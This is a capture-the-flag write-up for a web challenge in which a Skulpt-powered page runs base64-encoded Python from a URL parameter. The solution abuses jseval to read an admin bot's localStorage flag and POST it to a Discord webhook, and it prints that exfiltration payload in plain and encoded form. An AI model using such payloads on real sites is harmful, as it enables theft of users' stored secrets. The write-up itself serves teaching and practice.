Introduction
We are given a web page with a python that is powered by skulpt and the source code of the admin bot that will visit our page with our code.
Analysis
After digging into the source code of the admin bot and website, we can see that the admin bot contains a flag
in localStorage
and the website loads the code from the ?code=
parameter and runs it instantly.
The ?code=
parameter is in base64 encoded format, so we have to always encode our code first and then pass it into the URL.
Solution
After some research in the skulpt documentation and skulpt repository I found in test_skulpt_interop.py that we can use jseval
function to execute javascript code from our python code.
"""Unit tests for zero-argument super() & related machinery."""
import unittest
window = jseval("Sk.global")
So we can use this function to get the localStorage
and read the flag
.
flag = jseval("Sk.global.localStorage.getItem('flag')")
but how to get the flag from the admin bot? Easily, we can send the flag to whatever (e.g. discord webhook) and then read it from there.
if __name__ == "__main__":
flag = jseval("Sk.global.localStorage.getItem('flag')")
print jseval("Sk.global.fetch('https://discord.com/api/webhooks/{WEBHOOK_ID}/{WEBHOOK_TOKEN}', {method:'POST',headers:{'Content-Type': 'application/json'}, body: JSON.stringify({'content':'"+flag+"'})})")
We have to encode the code into base64 and pass it into the admin bot.
https://amateurs-ctf-2024-sculpture-challenge.pages.dev/?code=aWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGZsYWcgPSBqc2V2YWwoIlNrLmdsb2JhbC5sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZmxhZycpIikKICAgIHByaW50IGpzZXZhbCgiU2suZ2xvYmFsLmZldGNoKCdodHRwczovL2Rpc2NvcmQuY29tL2FwaS93ZWJob29rcy97V0VCSE9PS19JRH0ve1dFQkhPT0tfVE9LRU59Jywge21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJ30sIGJvZHk6IEpTT04uc3RyaW5naWZ5KHsnY29udGVudCc6JyIrZmxhZysiJ30pfSkiKQ==
After a few seconds, we can see the flag in our discord channel:
amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}